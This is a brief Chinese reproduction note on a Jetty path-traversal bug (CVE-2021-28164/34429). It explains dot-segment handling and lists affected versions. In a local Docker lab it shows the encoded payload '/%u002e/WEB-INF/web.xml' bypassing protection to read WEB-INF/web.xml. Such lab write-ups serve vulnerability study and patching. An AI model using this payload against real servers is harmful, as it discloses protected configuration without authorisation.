一 漏洞信息
Jetty作为Eclipse基金会的一部分,是一个纯粹的基于Java的网页服务器和Java Servlet容器,其支持最新的Java Servlet API,同时支持WebSocket,SPDY,HTTP/2协议。
.
和..
称为点段,都是为路径名层次结构中的相对引用而定义的,它们在一些操作系统文件目录结构中分别代表当前目录和父目录。但是与文件系统不同的是,这些点段仅在 URI 路径中解释层次结构,并作为解析过程的一部分被删除。也就是说在解析URI路径时,需要先处理.
和..
Jetty为了符合这种处理方式,却导致了一系列的漏洞产生,首先是在9.4.39版本中修复了CVE-2021-28164,然后出现了新的绕过,其又在9.4.43版本中修复了CVE-2021-34429。
二 影响版本
Jetty 9.4.37、9.4.40、9.4.43三个版本
三漏洞复现
执行以下命令以启动 Jetty 9.4.37 服务器
docker-compose up -d
服务器启动后,请访问以查看示例页面。http://your-ip:8080
访问 http://192.168.114.129:8080/WEB-INF/web.xml 会出现404错误
- payload1:
/%u002e/WEB-INF/web.xml 利用这个payload
用于绕过限制
出现200ok 复现完成!